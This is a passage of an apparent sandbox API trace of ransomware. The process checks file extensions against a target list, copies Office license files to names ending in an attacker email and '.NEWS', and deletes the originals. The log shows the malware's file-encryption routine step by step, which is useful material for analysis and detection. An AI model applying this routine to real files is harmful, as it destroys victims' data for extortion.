lpString2="m-ms") returned -1 [0180.477] lstrlenW (lpString=".docx") returned 5 [0180.477] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0180.477] lstrlenW (lpString=".pdf") returned 4 [0180.478] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0180.478] lstrlenW (lpString=".xls") returned 4 [0180.478] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0180.478] lstrlenW (lpString=".xlsx") returned 5 [0180.478] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0180.478] lstrlenW (lpString=".ppt") returned 4 [0180.478] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0180.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0180.478] lstrlenW (lpString=".zip") returned 4 [0180.478] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0180.478] lstrlenW (lpString=".rar") returned 4 [0180.478] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0180.478] lstrlenW (lpString=".bz2") returned 4 [0180.478] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0180.478] lstrlenW (lpString=".7z") returned 3 [0180.478] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0180.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0180.478] lstrlenW (lpString=".dbf") returned 4 [0180.478] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0180.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0180.478] lstrlenW (lpString=".1cd") returned 4 [0180.478] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0180.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0180.478] lstrlenW (lpString=".jpg") returned 4 [0180.479] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0180.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0180.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0180.479] lstrlenW (lpString=".doc") returned 4 [0180.479] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0180.479] lstrlenW (lpString=".docx") returned 5 [0180.479] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0180.479] lstrlenW (lpString=".pdf") returned 4 [0180.479] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0180.479] lstrlenW (lpString=".xls") returned 4 [0180.479] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0180.479] lstrlenW (lpString=".xlsx") returned 5 [0180.479] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0180.479] lstrlenW (lpString=".ppt") returned 4 [0180.479] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0180.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0180.479] lstrlenW (lpString=".zip") returned 4 [0180.479] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0180.479] lstrlenW (lpString=".rar") returned 4 [0180.479] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0180.479] lstrlenW (lpString=".bz2") returned 4 [0180.479] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0180.479] lstrlenW (lpString=".7z") returned 3 [0180.479] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0180.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0180.480] lstrlenW (lpString=".dbf") returned 4 [0180.480] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0180.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0180.480] lstrlenW (lpString=".1cd") returned 4 [0180.480] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0180.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0180.480] lstrlenW (lpString=".jpg") returned 4 [0180.480] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0180.480] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0180.480] lstrlenW (lpString="ExcelR_Trial-ul-oob.xrm-ms") returned 26 [0180.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0180.484] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=11586) returned 1 [0180.484] CloseHandle (hObject=0x564) returned 1 [0180.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms")) returned 0x220 [0180.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0180.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0180.485] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.486] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0180.487] GetLastError () returned 0x0 [0180.487] ReadFile (in: hFile=0x564, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x2d42, lpOverlapped=0x0) returned 1 [0180.489] WriteFile (in: hFile=0x4f0, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x2d50, lpOverlapped=0x0) returned 1 [0180.491] ReadFile (in: hFile=0x564, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0180.491] WriteFile (in: hFile=0x4f0, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x108, lpOverlapped=0x0) returned 1 [0180.491] SetEndOfFile (hFile=0x4f0) returned 1 [0180.491] CloseHandle (hObject=0x4f0) returned 1 [0180.492] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.492] SetEndOfFile (hFile=0x564) returned 1 [0180.496] CloseHandle (hObject=0x564) returned 1 [0180.496] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0180.497] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms")) returned 1 [0180.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0180.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0180.498] lstrlenW (lpString=".doc") returned 4 [0180.498] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0180.498] lstrlenW (lpString=".docx") returned 5 [0180.498] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0180.498] lstrlenW (lpString=".pdf") returned 4 [0180.498] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0180.498] lstrlenW (lpString=".xls") returned 4 [0180.499] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0180.499] lstrlenW (lpString=".xlsx") returned 5 [0180.499] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0180.499] lstrlenW (lpString=".ppt") returned 4 [0180.499] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0180.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0180.499] lstrlenW (lpString=".zip") returned 4 [0180.499] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0180.499] lstrlenW (lpString=".rar") returned 4 [0180.499] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0180.499] lstrlenW (lpString=".bz2") returned 4 [0180.499] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0180.499] lstrlenW (lpString=".7z") returned 3 [0180.499] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0180.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0180.499] lstrlenW (lpString=".dbf") returned 4 [0180.499] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0180.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0180.499] lstrlenW (lpString=".1cd") returned 4 [0180.499] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0180.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0180.499] lstrlenW (lpString=".jpg") returned 4 [0180.499] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0180.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0180.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0180.500] lstrlenW (lpString=".doc") returned 4 [0180.500] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0180.500] lstrlenW (lpString=".docx") returned 5 [0180.500] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0180.500] lstrlenW (lpString=".pdf") returned 4 [0180.500] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0180.500] lstrlenW (lpString=".xls") returned 4 [0180.500] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0180.500] lstrlenW (lpString=".xlsx") returned 5 [0180.500] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0180.500] lstrlenW (lpString=".ppt") returned 4 [0180.500] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0180.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0180.500] lstrlenW (lpString=".zip") returned 4 [0180.500] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0180.500] lstrlenW (lpString=".rar") returned 4 [0180.500] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0180.500] lstrlenW (lpString=".bz2") returned 4 [0180.500] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0180.500] lstrlenW (lpString=".7z") returned 3 [0180.500] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0180.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0180.501] lstrlenW (lpString=".dbf") returned 4 [0180.501] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0180.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0180.501] lstrlenW (lpString=".1cd") returned 4 [0180.501] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0180.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0180.501] lstrlenW (lpString=".jpg") returned 4 [0180.501] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0180.501] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0180.501] lstrlenW (lpString="ExcelVL_KMS_Client-ppd.xrm-ms") returned 29 [0180.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0180.502] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=6860) returned 1 [0180.503] CloseHandle (hObject=0x564) returned 1 [0180.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms")) returned 0x220 [0180.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0180.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0180.503] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.504] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0180.505] GetLastError () returned 0x0 [0180.505] ReadFile (in: hFile=0x564, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x1acc, lpOverlapped=0x0) returned 1 [0180.508] WriteFile (in: hFile=0x4f0, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x1ad0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x1ad0, lpOverlapped=0x0) returned 1 [0180.509] ReadFile (in: hFile=0x564, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0180.509] WriteFile (in: hFile=0x4f0, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x10e, lpOverlapped=0x0) returned 1 [0180.510] SetEndOfFile (hFile=0x4f0) returned 1 [0180.510] CloseHandle (hObject=0x4f0) returned 1 [0180.510] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.510] SetEndOfFile (hFile=0x564) returned 1 [0180.729] CloseHandle (hObject=0x564) returned 1 [0180.729] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0180.903] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms")) returned 1 [0181.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0181.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0181.045] lstrlenW (lpString=".doc") returned 4 [0181.046] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0181.046] lstrlenW (lpString=".docx") returned 5 [0181.046] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0181.046] lstrlenW (lpString=".pdf") returned 4 [0181.046] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0181.046] lstrlenW (lpString=".xls") returned 4 [0181.046] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0181.046] lstrlenW (lpString=".xlsx") returned 5 [0181.046] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0181.046] lstrlenW (lpString=".ppt") returned 4 [0181.046] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0181.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0181.046] lstrlenW (lpString=".zip") returned 4 [0181.046] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0181.046] lstrlenW (lpString=".rar") returned 4 [0181.046] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0181.046] lstrlenW (lpString=".bz2") returned 4 [0181.046] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0181.046] lstrlenW (lpString=".7z") returned 3 [0181.046] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0181.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0181.047] lstrlenW (lpString=".dbf") returned 4 [0181.047] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0181.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0181.047] lstrlenW (lpString=".1cd") returned 4 [0181.047] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0181.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0181.047] lstrlenW (lpString=".jpg") returned 4 [0181.047] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0181.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0181.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0181.047] lstrlenW (lpString=".doc") returned 4 [0181.047] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0181.047] lstrlenW (lpString=".docx") returned 5 [0181.047] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0181.047] lstrlenW (lpString=".pdf") returned 4 [0181.047] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0181.047] lstrlenW (lpString=".xls") returned 4 [0181.047] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0181.047] lstrlenW (lpString=".xlsx") returned 5 [0181.047] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0181.047] lstrlenW (lpString=".ppt") returned 4 [0181.047] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0181.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0181.048] lstrlenW (lpString=".zip") returned 4 [0181.048] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0181.048] lstrlenW (lpString=".rar") returned 4 [0181.048] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0181.048] lstrlenW (lpString=".bz2") returned 4 [0181.048] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0181.048] lstrlenW (lpString=".7z") returned 3 [0181.048] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0181.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0181.048] lstrlenW (lpString=".dbf") returned 4 [0181.048] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0181.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0181.048] lstrlenW (lpString=".1cd") returned 4 [0181.048] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0181.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0181.048] lstrlenW (lpString=".jpg") returned 4 [0181.048] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0181.048] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0181.048] lstrlenW (lpString="ExcelVL_MAK-ul-phn.xrm-ms") returned 25 [0181.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0181.129] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=19921) returned 1 [0181.130] CloseHandle (hObject=0x4f4) returned 1 [0181.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms")) returned 0x220 [0181.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0181.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0181.288] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0181.288] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0181.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0181.290] GetLastError () returned 0x0 [0181.290] ReadFile (in: hFile=0x53c, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x4dd1, lpOverlapped=0x0) returned 1 [0181.411] WriteFile (in: hFile=0x36c, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x4de0, lpOverlapped=0x0) returned 1 [0181.412] ReadFile (in: hFile=0x53c, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0181.412] WriteFile (in: hFile=0x36c, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x106, lpOverlapped=0x0) returned 1 [0181.413] SetEndOfFile (hFile=0x36c) returned 1 [0181.413] CloseHandle (hObject=0x36c) returned 1 [0181.413] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0181.413] SetEndOfFile (hFile=0x53c) returned 1 [0181.416] CloseHandle (hObject=0x53c) returned 1 [0181.416] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0181.417] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft 